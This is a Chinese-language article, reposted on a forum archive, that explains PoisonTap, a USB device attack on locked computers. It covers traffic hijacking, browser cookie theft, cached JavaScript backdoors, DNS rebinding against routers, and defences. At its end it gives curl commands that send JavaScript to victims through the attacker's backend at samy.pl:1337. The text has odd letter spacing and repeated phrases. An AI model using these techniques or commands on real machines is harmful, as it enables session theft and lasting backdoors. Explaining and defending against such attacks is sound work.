搜索

[10739] 2016-11-21_30秒攻破任意密码保护的PC：深入了解5美元黑客神器PoisonTap

文档创建者：s7ckTeam
浏览次数：7
最后更新：2025-01-18
2016-11-21_30秒攻破任意密码保护的PC：深入了解5美元黑客神器PoisonTap 3 0 秒 攻 破 任 意 密 码 保 护 的 P C ： 深 入 了 解 5 美 元 黑 客 神 器 P o i s o n T a p c l o u d s   F r e e B u f   2 0 1 6 - 1 1 - 2 1 近 日 ， 著 名 硬 件 黑 客 近 日 ， 著 名 硬 件 黑 客 S a m y   K a m k a r 利 用 利 用 5 美 元 设 备 打 造 的 黑 客 工 具 美 元 设 备 打 造 的 黑 客 工 具 P o i s o n T a p ， 只 需 ， 只 需 3 0 秒 ， 就 可 以 攻 破 设 置 有 任 意 密 码 的 电 脑 秒 ， 就 可 以 攻 破 设 置 有 任 意 密 码 的 电 脑 系 统 ， 并 实 现 长 期 后 门 安 装 。 系 统 ， 并 实 现 长 期 后 门 安 装 。 P o i s o n T a p 不 是 暴 力 破 解 密 码 ， 而 是 绕 过 密 码 。 不 是 暴 力 破 解 密 码 ， 而 是 绕 过 密 码 。 P o i s o n T a p 的 标 配 ： 5 美 元 的 树 莓 派 微 型 电 脑 R a s p b e r r y   P i   Z e r o 、 U S B 适 配 器 、 内 置 免 费 漏 洞 利 用 软 件 。 目 前 ， 相 关 软 件 和 利 用 工 具 已 在 G i t h u b 提 供 下 载 ， R a s p b e r r y   P i   Z e r o 在 某 宝 上 也 有 售 卖 ， 感 兴 趣 的 童 鞋 可 以 尝 试 打 造 属 于 自 己 的 P o i s o n T a p 神 器 。 以 下 为 P o i s o n T a p 官 方 G i t h u b 介 绍 的 工 作 机 制 ， 感 叹 S a m y   K a m k a r 大 神 天 马 行 空 的 思 维 ， 同 时 也 深 谙 自 己 技 艺 不 精 ， 不 足 之 处 ， 希 望 大 家 指 正 交 流 。 P o i s o n T a p 操 作 实 现 ： 操 作 实 现 ： P o i s o n T a p 通 吃 W i n d o w s 和 M a c 系 统 ， 一 旦 插 入 电 脑 ， 将 伪 装 模 拟 成 新 加 入 的 以 太 网 连 接 ， 即 使 受 害 者 使 用 W I F I ， 一 样 可 以 使 系 统 优 先 接 入 其 伪 装 的 虚 假 网 络 。 P o i s o n T a p 利 用 中 间 人 攻 击 方 式 ， 可 以 劫 持 监 听 受 害 者 所 有 网 络 流 量 ， 窃 取 存 储 在 浏 览 器 里 的 任 意 c o o k i e 和 s e s s i o n ， 然 后 发 送 给 控 制 端 。 以 下 为 P o i s o n T a p 具 体 操 作 实 现 ： 通 过   U S B 或 T h u n d e r b o l t 模 拟 成 新 加 入 的 以 太 网 连 接 设 备 ； 劫 持 目 标 系 统 所 有 网 络 连 接 流 量 （ 即 使 是 低 优 先 级 或 未 知 的 网 络 连 接 ） 窃 取 存 储 在 浏 览 器 内 相 关 A l e x a 排 名 前 1 0 0 万 网 站 c o o k i e 和 s e s s i o n 信 息 识 别 目 标 网 络 路 由 信 息 ， 通 过 远 程 o u t b o u n d 方 式 进 行 W e b S o c k e t 或 D N S 重 绑 定 攻 击 通 过 H T T P 的 J S 缓 存 中 毒 方 式 实 现 长 期 w e b 后 门 安 装 控 制 ， 这 些 缓 存 后 门 涉 及 上 千 个 域 名 和 通 用 j a v a s c r i p t   C D N   链 接 使 用 用 户 c o o k i e 对 后 端 域 名 实 现 远 程 H T T P   G E T 或 P O S T 方 式 控 制 连 接
不 需 要 系 统 解 锁 移 除 攻 击 载 体 后 ， 后 门 保 持 有 效   P o i s o n T a p 可 以 绕 过 或 突 破 以 下 安 全 保 护 措 施 ： 可 以 绕 过 或 突 破 以 下 安 全 保 护 措 施 ： 锁 屏 密 码 路 由 表 优 先 级 设 置 和 网 络 接 口 服 务 顺 序 同 源 保 护 策 略 C o o k i e 的 H t t p O n l y 安 全 设 置 C o o k i e 的 S a m e S i t e 安 全 属 性 双 因 素 或 多 因 素 认 证 D N S   P i n n i n g     跨 域 资 源 共 享 H T T P S   c o o k i e   保 护 P o i s o n T a p 如 何 工 作 ： 如 何 工 作 ： P o i s o n T a p 对 系 统 和 网 络 安 全 信 任 机 制 的 攻 击 ， 将 会 产 生 一 系 列 连 锁 反 应 ， 利 用 U S B / T h u n d e r b o l t 、 D H C P 、 D N S 和 H T T P 方 式 ， 可 以 进 行 信 息 窃 取 、 网 络 入 侵 和 后 门 安 装 。
网 络 劫 持 网 络 劫 持 1   攻 击 者 向 有 密 码 保 护 并 且 锁 屏 的 电 脑 系 统 插 入 P o i s o n T a p ； 2   P o i s o n T a p 将 会 模 拟 伪 装 成 一 个 新 加 入 系 统 的 网 络 连 接 ， 默 认 情 况 下 ， 即 使 在 有 密 码 保 护 的 锁 屏 状 态 下 ， W i n d o w s 、 O S   X   和 L i n u x 系 统 将 会 识 别 该 虚 假 网 络 连 接 ， 并 发 出 D H C P 请 求 ； 3   P o i s o n T a p 响 应 D H C P 请 求 ， 并 提 供 一 组 经 过 构 造 ， 从 0 . 0 . 0 . 0 至 2 5 5 . 2 5 5 . 2 5 5 . 2 5 5 ， 与 P o i s o n T a p 设 备 为 同 一 子 网 的 随 机 I P 地 址 组 合 ；   通 常 ， 在 系 统 使 用 现 有 网 络 连 接 的 情 况 下 ， 一 个 附 加 网 络 连 接 的 加 入 ， 系 统 会 把 其 默 认 为 低 优 先 级 网 络 ， 并 继 续 使 用 现 有 网 络 网 关 。 但 是 ， 在 基 于 ” I n t e r n e t   t r a f f i c ” 的   “ L A N t r a f f i c ” 情 况 下 ， 任 何 路 由 表 / 网 关 优 先 级 / 网 络 接 口 服 务 顺 序 设 置 都 可 被 绕 过 。 P o i s o n T a p 通 过 更 改 原 网 络 连 接 网 关 地 址 ， 把 流 量 引 入 自 身 ， 进 而 劫 持 系 统 所 有 网 络 流 量 。
C o o k i e 窃 取 窃 取 只 要 目 标 系 统 运 行 有 浏 览 器 ， 打 开 网 页 将 会 通 过 A J A X 或 动 态 脚 本 框 架 （ s c r i p t / i f r a m e s ） 产 生 各 种 请 求 ， 而 由 于 系 统 网 络 流 量 被 完 全 劫 持 ， 1   P o i s o n T a p 将 会 监 听 到 所 有 H T T P 请 求 和 响 应 ， 并 将 这 些 内 容 发 送 到 P o i s o n T a p 的 w e b 服 务 端 （ N o d e . j s ） ； 即 使 D N S 服 务 器 指 向 其 它 内 部 I P ， 由 于 这 些 内 部 D N S 服 务 器 将 为 缓 存 的 域 名 产 生 公 共 I P 地 址 ， 而 这 些 I P 地 址 已 经 被 P o i s o n T a p 劫 持 ， 所 以 攻 击 仍 然 有 效 3   当 N o d e   w e b 服 务 器 接 收 到 请 求 时 ， P o i s o n T a p 会 通 过 H T M L 或 J a v a s c r i p t 进 行 响 应 （ 许 多 网 站 会 在 后 台 请 求 中 加 载 H T M L 或 J S ） 4   然 后 ， H T M L   /   J S - a g n o s t i c 页 面 会 生 成 许 多 隐 藏 的 i f r a m e ， 每 个 i f r a m e 中 又 包 括 A l e x a 排 名 前 1 0 0 万 内 的 不 同 网 站 通 过 通 过 w e b 后 门 进 行 远 程 访 问 后 门 进 行 远 程 访 问
1 当 P o i s o n T a p 生 成 上 千 个 i f r a m e 之 后 ， 将 会 迫 使 浏 览 器 加 载 每 个 i f r a m e ， 但 这 些 i f r a m e 不 仅 仅 是 空 白 页 面 ， 而 是 无 限 缓 存 的 H T M L   +   J a v a s c r i p t 后 门 2   即 使 用 户 当 前 未 登 录 ， 由 于 P o i s o n T a p 已 经 在 每 个 缓 存 域 名 上 强 制 绑 定 了 这 些 后 门 ， 使 攻 击 者 能 够 使 用 C o o k i e 并 在 将 来 启 动 同 源 请 求 例 如 ， 当 加 载 h t t p : / / n f l . c o m / P o i s o n T a p i f r a m e 时 ， P o i s o n T a p 接 受 转 向 的 I n t e r n e t 流 量 ， 并 通 过 N o d e   W e b 服 务 器 响 应 H T T P 请 求 添 加 了 其 它 H T T P 头 以 无 限 缓 存 页 面 3   实 际 响 应 页 面 是 H T M L 和 J a v a s c r i p t 的 组 合 ， 并 由 此 产 生 持 续 有 效 的 W e b S o c k e t 连 接 攻 击 者 w e b 服 务 器 端 （ 通 过 互 联 网 而 不 是 P o i s o n T a p 设 备 ） W e b S o c k e t 保 持 开 放 状 态 ， 允 许 攻 击 者 在 将 来 任 何 时 候 回 连 后 端 机 器 ， 并 在 任 何 有 后 门 部 署 的 源 上 执 行 请 求 （ A l e x a 排 名 前 1 0 0 万 个 网 站 - 见 下 文 ） 如 果 后 门 在 一 个 站 点 （ 如 n f l . c o m ） 上 打 开 ， 但 用 户 希 望 攻 击 不 同 的 域 名 （ 如 p i n t e r e s t . c o m ） ， 攻 击 者 可 以 将 n f l . c o m 上 的 i f r a m e 加 载 到 p i n t e r e s t . c o m 后 门 中 （ h t t p : / / p i n t e r e s t . c o m / P o i s o n T a p ） 同 样 ， 域 上 的 任 何 “ X - F r a m e - O p t i o n s ” 、 跨 域 资 源 共 享 和 同 源 策 略 安 全 性 完 全 被 绕 过 ， 因 为 实 际 请 求 的 是 P o i s o n T a p 留 下 的 缓 存 ， 而 不 是 真 正 的 域 名 内 部 路 由 器 后 门 和 远 程 访 问 内 部 路 由 器 后 门 和 远 程 访 问 1   P o i s o n T a p 可 以 劫 持 当 前 网 络 的 实 际 局 域 网 子 网 2   P o i s o n T a p 通 过 在 一 个 特 定 主 机 上 强 制 缓 存 后 门 ， 具 体 来 说 ， 在 目 标 路 由 器 的 I P 后 面 加 上 “ . i p . s a m y . p l ” ， 如 1 9 2 . 1 6 8 . 0 . 1 . i p . s a m y . p l ， 就 可 以 生 成 一 个 持 久 的 D N S 重 绑 定 攻 击 当 使 用 P o i s o n T a p 作 为 D N S 服 务 器 （ 受 害 者 使 用 公 共 D N S 服 务 器 ） 时 ， P o i s o n T a p 使 用 临 时 专 门 的 I P （ 1 . 0 . 0 . 1 ） 进 行 响 应 ， 这 意 味 着 此 时 任 何 请 求 都 将 访 问 到 P o i s o n T a p   W e b 服 务 器 如 果 D N S 服 务 器 设 置 为 内 部 网 络 （ 如 1 9 2 . 1 6 8 . 0 . x ） ， 1 . 0 . 0 . 1 . p i n . i p . s a m y . p l 发 出 一 个 经 过 构 造 的 请 求 ， 几 秒 之 后 ， 它 将 会 向 我 的 专 用 D N S 服 务 器 （ 公 网 的 ） 返 回 任 意 [ i p . a d d r e s s ] . i p . s a m y . p l 中 的 I P 地 址 信 息 然 后 ， P o i s o n T a p 将 会 在 h t t p : / / 1 9 2 . 1 6 8 . 0 . 1 . i p . s a m y . p l / P o i s o n T a p 上 快 速 设 置 一 个 后 门 ， 而 在 P o i s o n T a p 设 备 上 将 指 向 1 . 0 . 0 . 1 ， 该 后 门 将 实 现 从 P o i s o n T a p 设 备 访 问 3   D N S p i n n i n g   和 D N S r e b i n d i n g 的 安 全 性 设 置 ， 由 于 之 前 做 出 A l e x a   t o p 1 0 0 万 网 站 请 求 而 耗 尽 D N S   p i n n i n g 表 ， 最 终 将 被 绕 过 。 之 后 ， D N S 就 不 需 要 重 新 绑 定 ， 使 得 该 攻 击 可 以 持 续 很 长 时 间 4   现 在 ， 后 门 强 制 连 接 到 h t t p : / / 1 9 2 . 1 6 8 . 0 . 1 . i p . s a m y . p l / P o i s o n T a p ， 任 何 对 1 9 2 . 1 6 8 . 0 . 1 . i p . s a m y . p l 的 请 求 都 将 访 问 到 u n p i n n e d 的 I P 地 址 ， 导 致 路 由 器 解 析 直 接 指 向 1 9 2 . 1 6 8 . 0 . 1 5   这 意 味 着 如 果 通 过 后 门 远 程 在 i f r a m e 中 加 载 1 9 2 . 1 6 8 . 0 . 1 . i p . s a m y . p l / P o i s o n T a p 指 向 主 机 ， 就 可 以 对 内 部 路 由 器 执 行 A J A X   G E T / P O S T 和 其 它 任 意 页 面 ， 实 现 完 全 控 制 内 部 路 由 器
构 造 请 求 与 构 造 请 求 与 D N S 服 务 器 解 析 的 对 应 关 系 服 务 器 解 析 的 对 应 关 系 基 于 基 于 w e b 远 程 访 问 的 其 它 后 门 远 程 访 问 的 其 它 后 门 1   P o i s o n T a p 替 代 了 成 千 上 万 常 见 的 ， 基 于 C D N 的 J a v a s c r i p t 文 件 ， 如 G o o g l e 和 j Q u e r y   C D N s 。 如 果 一 个 网 站 或 域 名 加 载 了 受 感 染 中 毒 的 C D N   J a v a s c r i p t 文 件 ， 正 确 的 代 码 配 合 后 门 ， 就 可 以 让 攻 击 者 实 现 入 侵 访 问 2   由 于 每 个 缓 存 的 网 站 域 名 都 留 有 后 门 ， 即 使 当 前 受 害 者 没 有 对 任 何 域 名 执 行 访 问 , 攻 击 者 仍 然 可 以 远 程 强 制 后 端 浏 览 器 执 行 同 源 请 求 （ A J A X   G E T   /   P O S T ） 3   当 受 害 者 访 问 基 于 H T T P 或 C D N   J a v a s c r i p t 缓 存 中 毒 的 网 站 时 ， 后 门 就 被 触 发 [ i p . a d d y ] . i p . s a m y . p l   n o r m a l l y   r e s p o n d s   w i t h   [ i p . a d d y ] 1 9 2 . 1 6 8 . 0 . 1 . i p . s a m y . p l   - >   1 9 2 . 1 6 8 . 0 . 1   ( A   r e c o r d ) [ i p . a d d y ] . p i n . i p . s a m y . p l   t e m p o r a r i l y   ( ~ 5   s e c o n d s )   p o i n t s   * . i p . s a m y . p l   t o   [ i p . a d d y ]
P o s i o n T a p 安 全 防 范 安 全 防 范 服 务 器 安 全 服 务 器 安 全 1   仅 使 用 H T T P S ， 至 少 对 认 证 和 认 证 内 容 使 用 H T T P S 2 确 保 启 用 C o o k i e 安 全 标 记 ， 防 止 H T T P S   C o o k i e 信 息 泄 露 3   当 调 用 远 程 J a v a s c r i p t 脚 本 资 源 时 ， 请 使 用 子 资 源 完 整 性 ( S R I ) 标 记 属 性 4   使 用 H S T S 防 止 H T T P S 降 级 攻 击 桌 面 客 户 端 安 全 桌 面 客 户 端 安 全 1   有 必 要 可 以 用 粘 合 剂 封 住 U S B 和 T h u n d e r b o l t 端 口 2   每 次 离 开 电 脑 时 关 闭 浏 览 器 3   禁 用 U S B 和 T h u n d e r b o l t 端 口 4   经 常 清 理 浏 览 器 的 缓 存 数 据 5   在 不 使 用 电 脑 时 ， 让 电 脑 进 入 休 眠 状 态 而 不 是 睡 眠 状 态 ， 在 休 眠 状 态 中 ， 电 脑 中 所 有 的 进 程 都 将 停 止 工 作 ， 安 全 性 更 高 文 件 介 绍 ： 文 件 介 绍 ： b a c k d o o r . h t m l ： 每 当 一 个 h t t p : / / h o s t n a m e / P o i s o n T a p U R L 请 求 发 生 并 窃 取   c o o k i e 信 息 时 ， 该 文 件 作 为 返 回 的 强 制 缓 存 内 容 ， 它 包 含 一 个 后 门 并 生 成 一 个 外 连 至 s a m y . p l : 1 3 3 7 （ 主 机 / 端 口 可 更 改 ） 的 w e b s o c k e t ， 等 待 服 务 器 命 令 。 b a c k e n d _ s e r v e r . j s ： 这 是 你 在 I n t e r n e t 可 访 问 的 N o d e 服 务 器 , 也 是 b a c k d o o r . h t m l 连 接 的 内 容 （ 例 如 ， s a m y . p l : 1 3 3 7 ） 。   该 服 务 器 也 用 来 发 送 命 令 ， 如 ：
p i _ p o i s o n t a p . j s ： 它 通 过 R a s p b e r r y   P i   Z e r o 上 的 N o d e . j s 运 行 ， 为 P o i s o n T a p   的 H T T P 服 务 端 截 获 请 求 ， 存 储 窃 取 C o o k i e 并 注 入 缓 存 后 门 p i _ s t a r t u p . s h ： 在 R a s p b e r r y   P i   Z e r o 上 启 动 时 运 行 ， 将 设 备 模 拟 为 U S B 以 太 网 配 件 ， 设 置 恶 意 D H C P 服 务 器 ， 允 许 流 量 重 路 由 ， D N S 欺 骗 ， 并 启 动 p i _ p o i s o n t a p . j s 文 件 t a r g e t _ b a c k d o o r . j s ：   此 文 件 预 先 放 在 任 何 与 C D N 相 关 的 J a v a s c r i p t 文 件 中 ， 通 过 G o o g l e   C D N ’ s   j Q u e r y   U R L 方 式 形 成 后 门 t a r g e t _ i n j e c t e d _ x h t m l j s . h t m l ： 在 受 害 者 系 统 中 注 入 H T T P   /   A J A X 请 求 并 形 成 整 个 攻 击 p o i s o n t a p . c o o k i e s . l o g ：   记 录 来 自 受 害 者 浏 览 器 的 c o o k i e   修 复 措 施 ： 修 复 措 施 ： 目 前 来 说 ， P o i s o n T a p 因 为 是 多 种 黑 客 技 巧 组 合 而 成 的 攻 击 ， 整 个 攻 击 和 利 用 过 程 不 能 明 确 反 映 某 个 产 品 或 系 统 漏 洞 ， 所 以 ， 目 前 来 说 ， 没 有 一 种 明 确 的 修 复 措 施 。 但 K a m k a r 提 出 了 一 种 解 决 方 案 ， 希 望 在 系 统 层 面 的 网 络 连 接 切 换 中 加 入 权 限 许 可 机 制 ， 但 是 苹 果 公 司 没 有 对 此 作 出 回 应 ， 而 微 软 公 司 在 给 记 者 的 回 复 邮 件 中 表 示 ， P o i s o n T a p 是 一 种 物 理 接 入 攻 击 。 所 以 ， 最 好 的 防 御 策 略 就 是 自 己 保 管 好 电 脑 并 及 时 更 新 系 统 和 软 件 。 * 参 考 来 源 ： g i t h u b ， F B 小 编 c l o u d s 编 译 ， 转 载 请 注 明 来 自 F r e e B u f （ F r e e B u f . C O M ） 阅 读 原 文 #   p o p   a l e r t   t o   v i c t i m c u r l   ' h t t p : / / s a m y . p l : 1 3 3 7 / e x e c ? a l e r t ( " m u a h a h a h a h a " ) ' #   t o   s e t   a   c o o k i e   o n   v i c t i m c u r l   ' h t t p : / / s a m y . p l : 1 3 3 7 / e x e c ? d o c u m e n t . c o o k i e = " k e y = v a l u e " ' #   t o   f o r c e   v i c t i m   t o   l o a d   a   u r l   v i a   a j a x   ( n o t e ,   j Q u e r y   i s   s t o r e d   i n s i d e   t h e   b a c k d o o r ) c u r l   ' h t t p : / / s a m y . p l : 1 3 3 7 / e x e c ? $ . g e t ( " h t t p : / / 1 9 2 . 1 6 8 . 0 . 1 . i p . s a m y . p l / l o g i n " , f u n c t i o n ( d ) { c o n s o l e . l o g ( d ) } ) '
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理